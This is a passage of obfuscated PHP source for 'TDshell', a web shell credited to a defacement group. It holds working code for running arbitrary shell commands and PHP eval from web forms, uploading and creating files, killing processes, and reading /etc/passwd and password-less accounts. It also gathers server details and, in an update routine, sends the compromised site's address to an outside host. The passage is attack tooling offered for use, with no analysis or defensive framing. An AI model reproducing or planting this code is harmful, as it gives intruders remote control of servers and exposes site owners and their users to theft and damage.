'</textarea><input name="evalmethod" type="radio" value="textbox">Display in TextBox<br><input name="evalmethod" type="radio" value="html" checked>Display normally<br><input type="submit" value="Evaluate"></form>'); }; }; break; case "exec": $_2b2605084efea7c9994ec50aacf83c64 = $_POST['execdata']; $_4e708563acf942967766e0209568749c = $_POST['execmethod']; if (empty($_2b2605084efea7c9994ec50aacf83c64)) { $_2b2605084efea7c9994ec50aacf83c64 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['otherexec']; }; if (empty($_4e708563acf942967766e0209568749c)) { $_4e708563acf942967766e0209568749c = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['othermethod']; }; if (empty($_2b2605084efea7c9994ec50aacf83c64)) { $this->out('<center><b>Execution Console</b></center><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea name="execdata" rows="15" id="execdata" style="width:100%;"></textarea><input name="execmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="execmethod" type="radio" value="html">Display normally<br><input type="submit" value="Execute"></form>'); } else { $_2b2605084efea7c9994ec50aacf83c64 = @stripslashes($_2b2605084efea7c9994ec50aacf83c64); if ($_4e708563acf942967766e0209568749c == "textbox") { @ob_start(); echo custom_exec($_2b2605084efea7c9994ec50aacf83c64); $_abeb01d5ff8f108e1106e763a15f95ed .= @ob_get_clean(); $_abeb01d5ff8f108e1106e763a15f95ed = @htmlspecialchars($_abeb01d5ff8f108e1106e763a15f95ed); $this->out('<center><b>Execution Console</b></center><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea rows="15" style="width:100%;">' . $_abeb01d5ff8f108e1106e763a15f95ed .'</textarea><textarea name="execdata" rows="15" id="execdata" style="width:100%;">' . htmlspecialchars($_2b2605084efea7c9994ec50aacf83c64) . '</textarea><input name="execmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="execmethod" type="radio" value="html">Display normally<br><input type="submit" value="Execute"></form>'); } else { @ob_start(); echo custom_exec($_2b2605084efea7c9994ec50aacf83c64); $_abeb01d5ff8f108e1106e763a15f95ed .= @ob_get_clean(); $_abeb01d5ff8f108e1106e763a15f95ed = @htmlspecialchars($_abeb01d5ff8f108e1106e763a15f95ed); $this->out('<center><b>Execution Console</b></center><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '" enctype="multipart/form-data">' . $_abeb01d5ff8f108e1106e763a15f95ed . '<br><textarea name="execdata" rows="15" id="execdata" style="width:100%;">' . @htmlspecialchars($_2b2605084efea7c9994ec50aacf83c64) . '</textarea><input name="execmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="execmethod" type="radio" value="html">Display normally<br><input type="submit" value="Execute"></form>'); }; }; break; case "proc": $_57eefc72bcbe3daf2bb185189468725a = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['do']; if (empty($_57eefc72bcbe3daf2bb185189468725a)) { $_4bc9908fada98cbfd1396fceed921faa = '/^([A-Za-z0-9]*)\\s{1,}([0-9]{1,10})\\s{1,}.*[0-9]{1,}:[0-9]{2,}\\s(.*)$/'; if (!($_c9a15425a6e12ac0295a2b759e048768 = custom_exec("ps aux"))) { $this->out("<center>TDshell Process Manager Failed: No valid permissions.</center>"); return FALSE; }; $_c9a15425a6e12ac0295a2b759e048768 = @explode("\n", $_c9a15425a6e12ac0295a2b759e048768); foreach ($_c9a15425a6e12ac0295a2b759e048768 as $_6557ccde5bb0523391c98ec92365d5a9) { if (@preg_match($_4bc9908fada98cbfd1396fceed921faa, $_6557ccde5bb0523391c98ec92365d5a9, $_38c09efe88a67e6a5344c0bbcc44c7d4)) { unset($_38c09efe88a67e6a5344c0bbcc44c7d4[0]); $_38c09efe88a67e6a5344c0bbcc44c7d4['FULL'] = $_6557ccde5bb0523391c98ec92365d5a9; $_15241b5cdd6d57b1fac3c1eb60905cd8[] = $_38c09efe88a67e6a5344c0bbcc44c7d4; }; }; natsort2d($_15241b5cdd6d57b1fac3c1eb60905cd8); $_10626691c8b3c6af89adc170cee73ebb = ""; $_ee1cbb2fd23ff45ac77733a06636a3c7 = ""; foreach ($_15241b5cdd6d57b1fac3c1eb60905cd8 as $_a3ae37119660c8023a43787f58268912) { $_8501d6dd59b45b2159f1f73f6e17b11f = @md5(@microtime() . $_a3ae37119660c8023a43787f58268912); $_46fc346549f1eeca72e169bb77bf12d8 = ""; if ($_a3ae37119660c8023a43787f58268912[2] == @getmypid()) { $_46fc346549f1eeca72e169bb77bf12d8 = " style='background-color:#FFFFF0'"; }; if ($_a3ae37119660c8023a43787f58268912[1] == @get_current_user()) { $_a3ae37119660c8023a43787f58268912[1] = "<font color=green>$_a3ae37119660c8023a43787f58268912[1]</font>"; $_10626691c8b3c6af89adc170cee73ebb .= "<tr$_46fc346549f1eeca72e169bb77bf12d8 title='" . @htmlspecialchars($_a3ae37119660c8023a43787f58268912['FULL'], ENT_QUOTES) . "'><td width=25%>$_a3ae37119660c8023a43787f58268912[1]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[2]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[3]</td><td width=25%>" . $this->make_link("proc", array("do" => "kill", "pid" => $_a3ae37119660c8023a43787f58268912[2]), "KILL") . " - " . '<a id="button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" href="javascript:;" onclick=\'itemShowHide("kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\'>[+]</a><div id="kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" style=\'display: none;\'><b>' . $_a3ae37119660c8023a43787f58268912['FULL'] . '</b></div>' . "</td></tr>"; } else { $_ee1cbb2fd23ff45ac77733a06636a3c7 .= "<tr$_46fc346549f1eeca72e169bb77bf12d8 title='" . @htmlspecialchars($_a3ae37119660c8023a43787f58268912['FULL'], ENT_QUOTES) . "'><td width=25%>$_a3ae37119660c8023a43787f58268912[1]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[2]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[3]</td><td width=25%>" . $this->make_link("proc", array("do" => "kill", "pid" => $_a3ae37119660c8023a43787f58268912[2]), "KILL") . " - " . '<a id="button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" href="javascript:;" onclick=\'itemShowHide("kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\'>[+]</a><div id="kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" style=\'display: none;\'><b>' . $_a3ae37119660c8023a43787f58268912['FULL'] . '</b></div>' . "</td></tr>"; }; }; $this->out("<table width=\"100%\"><tr><th>User</th><th>PID</th><th>Command</th><th>Actions</th>" . $_10626691c8b3c6af89adc170cee73ebb . $_ee1cbb2fd23ff45ac77733a06636a3c7 . "</table>"); } else { $_6cac525ed87733d2d6bf528558ef4c06 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['pid']; if (custom_exec("kill " . @intval($_6cac525ed87733d2d6bf528558ef4c06)) === FALSE) { $this->out("<center><b>Could not kill process ID " . @intval($_6cac525ed87733d2d6bf528558ef4c06) . "</b></center>"); } $this->process("proc"); }; break; case "update": $_c14f19c15d50e72a5733c0ad88a035b9 = @fopen("http://tdshell.thedefaced.org/latest.php?chk=" . @base64_encode(current_URI()), "r"); while ((!@feof($_c14f19c15d50e72a5733c0ad88a035b9)) && ($_c14f19c15d50e72a5733c0ad88a035b9)) { $_45e1fe4475ff3a7426e094d9638a5f22 .= @fread($_c14f19c15d50e72a5733c0ad88a035b9, 1024); }; if ($_45e1fe4475ff3a7426e094d9638a5f22 == @md5($this->TDshell_version)) { $this->out("<b><font color='green'>Your version of TDshell is up to date.</font></b>"); } elseif (empty($_45e1fe4475ff3a7426e094d9638a5f22)) { $this->out("<b><font color='red'>Error: Failed to retrieve latest version.</font></b>"); } else { $this->out("<b><font color='red'>Your version of TDshell is out of date. <a href='http://tdshell.thedefaced.org/'>Please replace your current shell with the latest version located here.</a></font></b>"); }; break; case "mkdir": $_0b63e7829d4893613b17575c517db17d = $_POST['mkdir']; if (empty($_0b63e7829d4893613b17575c517db17d)) { $this->out("<center><b>Could not create directory, empty name provided.</b></center>"); $this->process("list"); } else { if (!@mkdir($_0b63e7829d4893613b17575c517db17d, 0777)) { $this->out("<center><b>Could not create directory, permission denied.</b></center>"); $this->process("list"); } else { @clearstatcache(); $this->process("list", array("dir" => $_0b63e7829d4893613b17575c517db17d)); }; }; break; case "godir": $_942922064772e69fea37ad32e72dfd70 = $_POST['godir']; $this->process("list", array("dir" => $_942922064772e69fea37ad32e72dfd70)); break; case "mkfile": $_0dc4ed3391208760f7f43fc80a2441e5 = $_POST['mkfile']; if (!@fopen($_0dc4ed3391208760f7f43fc80a2441e5, "w")) { $this->out("<center><b>Could not make file, permission denied.</b></center>"); $this->process("list"); } else { $this->process("file", array("act" => "edit", "name" => $_0dc4ed3391208760f7f43fc80a2441e5)); }; break; case "gofile": $_cacb8c32699f649131f8eaa04c25222c = $_POST['gofile']; $this->process("file", array("act" => "view", "name" => $_cacb8c32699f649131f8eaa04c25222c)); break; case "upload": $_031d648129f7450af0529cbf0825fd58 = $_POST['destination']; $_8add29b89df2cfe7786dd8ba967ff1e2 = $_031d648129f7450af0529cbf0825fd58 . @basename($_FILES['file']['name']); if (@move_uploaded_file($_FILES['file']['tmp_name'], $_8add29b89df2cfe7786dd8ba967ff1e2)) { $this->process("file", array("act" => "edit", "name" => $_8add29b89df2cfe7786dd8ba967ff1e2)); } else { $this->out("<center><b>Error uploading file!</b></center>"); }; break; case "ping": $this->out("be457c74983226e519e3564f8699eb4e"); break; case "alias": $_93ddad4f44750399cbee70b6508b6ea3 = $_POST['alias']; $this->process("exec", array("otherexec" => $_93ddad4f44750399cbee70b6508b6ea3, "othermethod" => "textbox")); break; case "": $this->process("list", $_ec4ae32bf3e3a09bae7ff3e84ebbc667); break; case "credits": $this->out("<b>" . $this->TDshell_version . "</b> - Credits<br>"); $this->out("www.TheDefaced.org<br> Debug: For critical development and idea planning of the shell<br> x2Fusion: For crutial ideas and planning of the development of the shell<br> Kr3w: For inspirational ideas that contributed greatly to the project<br> Tr3mbl3r: With massive ideas for development and features that he planned<br><br>TDshell homepage located <a href='http://tdshell.thedefaced.org/'>here</a>."); break; case @base64_decode("OTQ1VU84VUVSLTQzOFVFOVJJT0dILTVZUlRHVTlJT1JUTkhHRTVULTQzNVRVR0ZJNUgzNFRBVzk4NC00LTMtMzQ1VERGUw=="): $this->out(base64_decode("QSBCYW5zaGVlIFRoZSBXaWx0DQpDYW5jZWwgQW5kIFJlYWwNCkhhdCBUaGlucyBUd28NCkVhdGVuIE91dHMgWW93DQoNCkk0U0g4SUZI")); break; default: @ob_start(); print_r($_ec4ae32bf3e3a09bae7ff3e84ebbc667); $_bb8084d9c33052d4e3d1354f2746b6bb = @ob_get_clean(); $this->out("<b>Error: could not process your request; the act does not exist.</b><br><pre>Act: $_2e5c25529adea7d7ad4802936aee0b48\n$_bb8084d9c33052d4e3d1354f2746b6bb</pre><br>"); break; }; } function header() { $this->out_template("HTML_HEADER_MAIN"); $this->out_template("HTML_HEADER_HEAD_PRE"); $this->out_template("HTML_HEADER_HEAD_TITLE"); $this->out_template("HTML_HEADER_HEAD_SCRIPT"); $this->out_template("HTML_HEADER_HEAD_STYLE"); $this->out_template("HTML_HEADER_HEAD_SUF"); $this->out_template("HTML_HEADER_BODY_PRE"); } function footer($_948b7576a20aa0bb3f1d2055da74156c) { $this->out_template("HTML_HEADER_BODY_SUF"); $this->out(@str_replace("{TIME_TAKEN}", $_948b7576a20aa0bb3f1d2055da74156c, $this->get_template("HTML_FOOTER_MAIN"))); } function out($_45e1fe4475ff3a7426e094d9638a5f22) { $this->TDshell_data .= $_45e1fe4475ff3a7426e094d9638a5f22; } function outall() { echo $this->sanitize_output($this->TDshell_data); } function set_template($_d3befca3813d65aff84c2353e705a0dd, $_d52f547da0e098832b6b81469d36c48b) { $this->TDshell_template[$_d3befca3813d65aff84c2353e705a0dd] = $_d52f547da0e098832b6b81469d36c48b; } function make_link($_2e5c25529adea7d7ad4802936aee0b48, $_ec4ae32bf3e3a09bae7ff3e84ebbc667 = array(), $_a70fd9147fda16858f57fe0479d66df0 = "", $_c8872ae6a7d8ea0f53e6e72ed2ceeac1 = FALSE) { if (!empty($_2e5c25529adea7d7ad4802936aee0b48)) { $_7622cf6629732edc545313527c803112 = "act=$_2e5c25529adea7d7ad4802936aee0b48"; } if (!empty($_ec4ae32bf3e3a09bae7ff3e84ebbc667)) { if (!empty($_ec4ae32bf3e3a09bae7ff3e84ebbc667)) { if (empty($_2e5c25529adea7d7ad4802936aee0b48)) { $_7622cf6629732edc545313527c803112 .= "args="; } else { $_7622cf6629732edc545313527c803112 .= "&args="; }; foreach ($_ec4ae32bf3e3a09bae7ff3e84ebbc667 as $_ddc2938d74cdbcf22f9ecfaf2f1fb5be => $_c7104b3e36401bf0c1d4a5788ac2ad69) { $_7622cf6629732edc545313527c803112 .= @base64_encode($_ddc2938d74cdbcf22f9ecfaf2f1fb5be . ":" . $_c7104b3e36401bf0c1d4a5788ac2ad69) . "-"; }; if (@substr($_7622cf6629732edc545313527c803112, -1) == "-") { $_7622cf6629732edc545313527c803112 = @substr($_7622cf6629732edc545313527c803112, 0, @strlen($_7622cf6629732edc545313527c803112) -1); }; }; }; $_42a6152a4d7c7d957669c6d70dc5ba87 = 'http'; if ($_SERVER["HTTPS"] == "on") { $_42a6152a4d7c7d957669c6d70dc5ba87 .= "s"; }; $_42a6152a4d7c7d957669c6d70dc5ba87 .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["SCRIPT_NAME"]; } else { $_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"]; }; if (!$_c8872ae6a7d8ea0f53e6e72ed2ceeac1) { if (empty($_7622cf6629732edc545313527c803112)) { $_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?" . "proc=out"; } else { $_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?" . $_7622cf6629732edc545313527c803112 . "&proc=out"; }; } else { if (empty($_7622cf6629732edc545313527c803112)) { $_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?"; } else { $_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?" . $_7622cf6629732edc545313527c803112; }; }; $_3d1e4e37e3bb032a675f9b0de015bfca = $this->get_template("HTML_REL_LINK_BEG_PRE"); $_3581e843f20285ea83417f61211d475a = $this->get_template("HTML_REL_LINK_BEG_SUF"); $_7ebad0a61068a13c2d289a738022186a = $this->get_template("HTML_REL_LINK_END"); if (!$_c8872ae6a7d8ea0f53e6e72ed2ceeac1) { return $_3d1e4e37e3bb032a675f9b0de015bfca . $_42a6152a4d7c7d957669c6d70dc5ba87 . $_3581e843f20285ea83417f61211d475a . $_a70fd9147fda16858f57fe0479d66df0 . $_7ebad0a61068a13c2d289a738022186a; } else { return $_42a6152a4d7c7d957669c6d70dc5ba87; }; } function out_template($_d3befca3813d65aff84c2353e705a0dd) { $this->out($this->TDshell_template[$_d3befca3813d65aff84c2353e705a0dd]); } function get_template($_d3befca3813d65aff84c2353e705a0dd) { return $this->TDshell_template[$_d3befca3813d65aff84c2353e705a0dd]; } function sanitize_output($_5d28db41dd3b63b0ad9702e535eedd73) { $_c15977bdc89c079bde3a6687c20c1719 = array( '/\>[^\S ]+/s', '/[^\S ]+\</s' ); $_0cb75167c55d51f5653f1217678b8a57 = array( '>', '<' ); $_5d28db41dd3b63b0ad9702e535eedd73 = @preg_replace($_c15977bdc89c079bde3a6687c20c1719, $_0cb75167c55d51f5653f1217678b8a57, $_5d28db41dd3b63b0ad9702e535eedd73); return $_5d28db41dd3b63b0ad9702e535eedd73; } function content_bottom_ext() { return '<table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <th> Quick Execute </th> <th> Quick Eval </th> </tr> <tr> <td width="50%"><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '"><input type="text" name="execdata" style="width:95%"><input type="hidden" name="execmethod" value="textbox"><br><input type="submit" name="Submit" value="Go"></form></td> <td width="50%"><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '"><input type="text" name="evaldata" style="width:95%"><input name="evalmethod" type="hidden" id="evalmethod" value="textbox"><br><input type="submit" name="Submit" value="Go"> </form></td> </tr> <tr> <th> Make Directory </th> <th> Go to Directory </th> </tr> <tr> <td width="50%"><form method="post" action="' . $this->make_link("mkdir", NULL, NULL, TRUE) . '"><input name="mkdir" type="text" id="mkdir" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br> <input type="submit" name="Submit" value="Go"></form></td> <td width="50%"><form method="post" action="' . $this->make_link("godir", NULL, NULL, TRUE) . '"><input name="godir" type="text" id="godir" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br> <input type="submit" name="Submit" value="Go"> </form></td> </tr> <tr> <th> Make File </th> <th> Go to File </th> </tr> <tr> <td width="50%"><form method="post" action="' . $this->make_link("mkfile", NULL, NULL, TRUE) . '"><input name="mkfile" type="text" id="mkfile" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br> <input type="submit" name="Submit" value="Go"></form></td> <td width="50%"><form method="post" action="' . $this->make_link("gofile", NULL, NULL, TRUE) . '"><input name="gofile" type="text" id="gofile" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br> <input type="submit" name="Submit" value="Go"> </form></td> </tr> <tr> <th> Upload File </th> <th> Alias Commands </th> </tr> <tr> <td width="50%"><form method="post" action="' . $this->make_link("upload", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><input type="file" name="file"><input name="destination" type="text" id="destination" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br> <input type="submit" name="Submit" value="Go"></form></td> <td width="50%"><form method="post" action="' . $this->make_link("alias", NULL, NULL, TRUE) . '"> <select name="alias"> <option value="ls -la">List current directory</option> <option value="find . -name \'*config*\'">Find config files</option> <option value="cat /etc/passwd">View etc/passwd</option> <option value="cut -d: -f1,2,3 /etc/passwd | grep ::">View users without password</option> <option value="cat /proc/version /proc/cpuinfo">CPU Information</option> <option value="netstat -atup | grep IST">Open Ports</option> </select> <input type="submit" name="Submit" value="Go"> </form></td> </tr> </table>'; } function content_top_ext() { $_a9e5405d6581811dbff46e9ca3280bc1 .= "<center><b>Server Information</b>:</center>"; $_074b7814a5770494227ce06e81ff999a = @getenv("SERVER_SOFTWARE"); $_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Software</b>: " . @htmlspecialchars($_074b7814a5770494227ce06e81ff999a) . "<br>"; if (($_600528b2c16959ec0b7415143daf3c2c = custom_exec("uptime"))) { $_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Uptime</b>: $_600528b2c16959ec0b7415143daf3c2c<br>"; }; $_4894710f990f9bda9ef69a94d3de9a25 = @wordwrap(@php_uname(),100,"<br>",1); $_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>System Info</b>: " . $_4894710f990f9bda9ef69a94d3de9a25 . "<br>"; $_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Disabled Functions</b>: "; if('' == ($_404553cd7b56719c358d1c6d76f88164 = @ini_get('disable_functions'))) { $_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>NONE</font><br>"; } else { $_404553cd7b56719c358d1c6d76f88164 = @explode(",", $_404553cd7b56719c358d1c6d76f88164); $_4b61f566d85332046e5ea8c39d5595a9 = ""; foreach ($_404553cd7b56719c358d1c6d76f88164 as $_96a32437f909f9609d8bb97987165016) { $_96a32437f909f9609d8bb97987165016 = @trim($_96a32437f909f9609d8bb97987165016); $_4b61f566d85332046e5ea8c39d5595a9 .= "<a href='http://php.net/" . $_96a32437f909f9609d8bb97987165016 . "' target='_target'>" . $_96a32437f909f9609d8bb97987165016 . "</a>" . ","; }; $_4b61f566d85332046e5ea8c39d5595a9 = @substr($_4b61f566d85332046e5ea8c39d5595a9, 0, @strlen($_4b61f566d85332046e5ea8c39d5595a9) - 1); $_a9e5405d6581811dbff46e9ca3280bc1 .= "$_4b61f566d85332046e5ea8c39d5595a9<br>"; }; if(@ini_get("register_globals")) { $_0b72c338824fc598846641f1733ded93 = "<font color=green>ON</font><br>"; } else { $_0b72c338824fc598846641f1733ded93 = "<font color=red>OFF</font><br>"; }; $_4aa5a13a07418cb3b1f532b2f73d68ae = @function_exists('mysql_connect'); $_d264811448b31fb4b2772b416c9b6342 = @function_exists('mssql_connect'); $_4faecc09d416a70e7c85c211689f976c = @function_exists('pg_connect'); $_8050813e45b77747b44bfa1e66edf6e1 = @function_exists('ocilogon'); if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $_ff72ae8d0a7c203fdca8802a4a3d4743 = "<font color=red>ON (secure)</font>"; } else { $_ff72ae8d0a7c203fdca8802a4a3d4743 = "<font color=green>OFF (not secure)</font>"; }; $_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>MySQL</b>: "; if ($_4aa5a13a07418cb3b1f532b2f73d68ae) { $_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>"; } else { $_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>"; }; $_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>"; $_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>MSSQL</b>: "; if ($_d264811448b31fb4b2772b416c9b6342) { $_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>"; } else { $_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>"; }; $_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>"; $_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>PostgreSQL</b>: "; if ($_4faecc09d416a70e7c85c211689f976c) { $_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>"; } else { $_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>"; }; $_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>"; $_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Oracle</b>: "; if ($_8050813e45b77747b44bfa1e66edf6e1) { $_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>"; } else { $_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>"; }; $_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>"; $_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Safemode</b>: "; $_a9e5405d6581811dbff46e9ca3280bc1 .= $_ff72ae8d0a7c203fdca8802a4a3d4743 . "<br>"; $_d94dc5b08d928c237d98b0ed89179043 = @disk_free_space("./"); $_7467c53f177b1d289f3e1b2e395b9056 = @disk_total_space("./"); if ($_d94dc5b08d928c237d98b0ed89179043 === FALSE) {$_d94dc5b08d928c237d98b0ed89179043 = 0;} if ($_7467c53f177b1d289f3e1b2e395b9056 === FALSE) {$_7467c53f177b1d289f3e1b2e395b9056 = 0;} if ($_d94dc5b08d928c237d98b0ed89179043 < 0) {$_d94dc5b08d928c237d98b0ed89179043 = 0;} if ($_7467c53f177b1d289f3e1b2e395b9056 < 0) {$_7467c53f177b1d289f3e1b2e395b9056 = 0;} $_c3574082b118679ba0bc952292c18820 = @round(100/($_7467c53f177b1d289f3e1b2e395b9056/$_d94dc5b08d928c237d98b0ed89179043),2); $_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Free</b>: " . view_size($_d94dc5b08d928c237d98b0ed89179043) . " of " . view_size($_7467c53f177b1d289f3e1b2e395b9056) . " (" . $_c3574082b118679ba0bc952292c18820 . "%)<br>"; $_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Your IP</b>: <a href='http://whois.domaintools.com/" . $_SERVER['REMOTE_ADDR'] . "' target='_blank'>" . $_SERVER['REMOTE_ADDR'] . "</a> <b>Server IP</b>: <a href='http://whois.domaintools.com/" . $_SERVER['SERVER_ADDR'] . "' target='_blank'>" . $_SERVER['SERVER_ADDR'] . "</a><br>"; return $_a9e5405d6581811dbff46e9ca3280bc1; } }; $TDshell = new _463f641c8747ebe94fafef7333a99b45; $TDshell->TDshell_template["HTML_HEADER_MAIN"] = "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"><html xmlns=\"http://www.w3.org/1999/xhtml\">"; $TDshell->TDshell_template["HTML_HEADER_HEAD_PRE"] = "<head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />"; $TDshell->TDshell_template["HTML_HEADER_HEAD_TITLE"] = "<title>$_SERVER[SERVER_NAME] - TDshell by TheDefaced (www.TheDefaced.org)</title>"; $TDshell->TDshell_template["HTML_HEADER_HEAD_SCRIPT"] = '<script language="javascript" type="text/javascript"> <!-- function get_page(page) { var xmlHttp; try { xmlHttp=new XMLHttpRequest(); } catch (e) { try { xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { alert("Your browser does not support AJAX!"); return false; } } } document.getElementById(\'script\').innerHTML = "Loading..."; xmlHttp.onreadystatechange=function() { if(xmlHttp.readyState==4) { document.getElementById(\'script\').innerHTML=xmlHttp.responseText; } } if(page!="") { xmlHttp.open("GET",page,true); } xmlHttp.send(null); update_URI(page); } function itemShowHide(myItem, myButton) { var myItem = document.getElementById(myItem); var myButton = document.getElementById(myButton); if (myItem.style.display != "none") { myItem.style.display = "none"; swapData(myButton, "plus"); } else { myItem.style.display = "block"; swapData(myButton, "minus"); } } function update_URI(uri) { var curURI = document.getElementById(\'MAIN_PAGE_CUR_URI\'); var lastURI = document.getElementById(\'MAIN_PAGE_LAST_URI\'); uri = uri.substr(0,uri.length-9); lastURI.href = curURI.href; curURI.href = uri; } function swapData(myButton, state) { if (state == "minus") { myButton.innerHTML = "[-]"; } else { myButton.innerHTML = "[+]"; } } function auto_update(page) { var xmlHttp; try { xmlHttp=new XMLHttpRequest(); } catch (e) { try { xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { alert("Your browser does not support AJAX!"); return false; } } } document.getElementById(\'autoupdate\').innerHTML = "Checking for updates..."; xmlHttp.onreadystatechange=function() { if(xmlHttp.readyState==4) { document.getElementById(\'autoupdate\').innerHTML=xmlHttp.responseText; } } if(page!="") { xmlHttp.open("GET",page,true); } xmlHttp.send(null); } function custom_sub(page,divid) { var xmlHttp; try { xmlHttp=new XMLHttpRequest(); } catch (e) { try { xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { alert("Your browser does not support AJAX!"); return false; } } } document.getElementById(divid).innerHTML = "Loading"; xmlHttp.onreadystatechange=function() { if(xmlHttp.readyState==4) { document.getElementById(divid).innerHTML=xmlHttp.responseText; } } if(page!="") { xmlHttp.open("GET",page,true); } xmlHttp.send(null); } --> </script>'; $TDshell->TDshell_template["HTML_HEADER_HEAD_STYLE"] = '<style type="text/css"> <!-- body { margin: 0; padding: 1; margin-bottom: 15px; font-family: arial, helvetica, verdana, tahoma, sans-serif; font-size: 80%; color: #eee; background-color: #666; line-height: 180%; } a { color: #ccc; text-decoration: none; } a:hover { color: #333; text-decoration: none; } #headercontainer { width: 100%; background: #000000; padding-top: 5px; padding-bottom: 5px; } #header { width: 100%; height: 125px; background-color: #000000; background-image: url(http://tdshell.thedefaced.org/logo.jpg); background-repeat: no-repeat; background-position: center; padding-top: 5px; padding-bottom: 5px; } #header h1 { margin: 0; color: #EEEEEE; font-family: helvetica, arial, verdana, tahoma, sans-serif; font-size: 275%; padding-left: 10px; padding-top: 50px; } #menucontainer { width: 100%; height: 28px; background: #333333; } #menu { width: 100%; background: #666; } #content { margin: 0 auto; padding: 1px 1px; background:#C4C4C4; color:#000000; border-bottom-width: thin; border-bottom-style: groove; border-bottom-color: #000000; } #content A:link {text-decoration: none; color:#000000;} #content A:visited {text-decoration: none; color:#000000;} #content A:active {text-decoration: none; color:#000000;} #content A:hover {font-weight:bold; color:#000000;} #content_dat { margin: 0 auto; background:#999; color:#000000; padding: 1px 1px; border-bottom-width: thin; border-bottom-style: groove; border-bottom-color: #000000; text-decoration:none; } #content_dat A:link {text-decoration: none} #content_dat A:visited {text-decoration: none} #content_dat A:active {text-decoration: none} #content_dat A:hover {font-weight:bold;} #content h2 { color: #333; padding-bottom: 3px; border-bottom: 1px solid #ccc; font-family: helvetica, arial, verdana, tahoma, sans-serif; font-size: 200%; letter-spacing: -1px; } #footer { text-align: left; color: #ccc; letter-spacing: -1px; background: #666; border: 1px solid #ccc; font-family: helvetica, arial, verdana, tahoma, sans-serif; padding: 5px; } #navcontainer ul { display:inline; padding: 0; margin: 0; color:#333333; float:left; width:100%; list-style-type: none; } #navcontainer ul li { font-weight: bold; list-style-type: none; } #navcontainer ul li a { padding: 0.2em 1.5em; color:#CCCCCC; text-decoration: none; 